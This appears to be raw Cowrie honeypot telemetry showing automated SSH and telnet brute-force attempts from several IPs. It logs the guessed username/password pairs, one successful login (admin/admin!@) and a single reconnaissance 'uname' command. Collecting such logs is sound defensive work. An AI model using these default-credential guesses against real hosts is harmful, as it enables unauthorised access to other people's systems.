{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:21.660256Z","src_ip":"176.65.132.254","session":"14d2666d6687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47952,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad0a584d0f64","protocol":"ssh","message":"New connection: 176.65.132.254:47952 (10.17.0.5:22) [session: ad0a584d0f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:24.620514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:24.624988Z","src_ip":"176.65.132.254","session":"ad0a584d0f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:24.707104Z","src_ip":"176.65.132.254","session":"ad0a584d0f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:24.953983Z","src_ip":"176.65.132.254","session":"ad0a584d0f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:26.268057Z","src_ip":"176.65.132.254","session":"ad0a584d0f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47966,"dst_ip":"10.17.0.5","dst_port":22,"session":"6700cfe18a85","protocol":"ssh","message":"New connection: 176.65.132.254:47966 (10.17.0.5:22) [session: 6700cfe18a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:28.937258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:28.941990Z","src_ip":"176.65.132.254","session":"6700cfe18a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:29.024639Z","src_ip":"176.65.132.254","session":"6700cfe18a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:29.275812Z","src_ip":"176.65.132.254","session":"6700cfe18a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:30.360110Z","src_ip":"176.65.132.254","session":"6700cfe18a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48618,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f56042d60db","protocol":"ssh","message":"New connection: 176.65.132.254:48618 (10.17.0.5:22) [session: 8f56042d60db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:33.210184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:33.215058Z","src_ip":"176.65.132.254","session":"8f56042d60db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:33.297586Z","src_ip":"176.65.132.254","session":"8f56042d60db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:33.876326Z","src_ip":"176.65.132.254","session":"8f56042d60db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34954,"dst_ip":"10.17.0.5","dst_port":23,"session":"5154ecaa6c29","protocol":"telnet","message":"New connection: 38.54.119.93:34954 (10.17.0.5:23) [session: 5154ecaa6c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:34.951135Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:34.965097Z","src_ip":"176.65.132.254","session":"8f56042d60db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77157020568848,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:35.477521Z","src_ip":"134.209.8.29","session":"fb504b491fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48630,"dst_ip":"10.17.0.5","dst_port":22,"session":"2436e6cbcbb1","protocol":"ssh","message":"New connection: 176.65.132.254:48630 (10.17.0.5:22) [session: 2436e6cbcbb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:37.625244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:37.630305Z","src_ip":"176.65.132.254","session":"2436e6cbcbb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:37.714811Z","src_ip":"176.65.132.254","session":"2436e6cbcbb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.88487482070923,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:38.049996Z","src_ip":"134.209.8.29","session":"b24b8a5f333f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:38.167126Z","src_ip":"176.65.132.254","session":"2436e6cbcbb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:39.251818Z","src_ip":"176.65.132.254","session":"2436e6cbcbb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa8f0df4da3","protocol":"telnet","message":"New connection: 134.209.8.29:39906 (159.203.135.109:23) [session: 4fa8f0df4da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:39.504033Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":42064,"dst_ip":"159.203.135.109","dst_port":22,"session":"12715af674fd","protocol":"ssh","message":"New connection: 205.254.166.101:42064 (159.203.135.109:22) [session: 12715af674fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:40.285789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:40.290662Z","src_ip":"205.254.166.101","session":"12715af674fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:40.496547Z","src_ip":"205.254.166.101","session":"12715af674fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015218257904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:41.012184Z","src_ip":"134.209.8.29","session":"89d871d701b0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jay","message":"login attempt [admin/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:41.354849Z","src_ip":"205.254.166.101","session":"12715af674fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38196,"dst_ip":"10.17.0.5","dst_port":22,"session":"34394fbd010c","protocol":"ssh","message":"New connection: 176.65.132.254:38196 (10.17.0.5:22) [session: 34394fbd010c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:42.058914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:42.064035Z","src_ip":"176.65.132.254","session":"34394fbd010c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:42.147895Z","src_ip":"176.65.132.254","session":"34394fbd010c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:42.443517Z","src_ip":"176.65.132.254","session":"34394fbd010c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:42.565657Z","src_ip":"205.254.166.101","session":"12715af674fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:43.646904Z","src_ip":"176.65.132.254","session":"34394fbd010c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155925750732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:44.060026Z","src_ip":"38.54.119.93","session":"8eb389115117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.33512020111084,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:46.531814Z","src_ip":"134.209.8.29","session":"62a366d7a138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38216,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c7fd6830f4","protocol":"ssh","message":"New connection: 176.65.132.254:38216 (10.17.0.5:22) [session: b7c7fd6830f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:46.578491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:46.583058Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:46.665219Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:46.941331Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:47.165986Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:47.169162Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:47.254222Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:47.258852Z","src_ip":"176.65.132.254","session":"b7c7fd6830f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38234,"dst_ip":"10.17.0.5","dst_port":22,"session":"02885330747a","protocol":"ssh","message":"New connection: 176.65.132.254:38234 (10.17.0.5:22) [session: 02885330747a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:51.046752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:51.051495Z","src_ip":"176.65.132.254","session":"02885330747a","protocol":"ssh"}
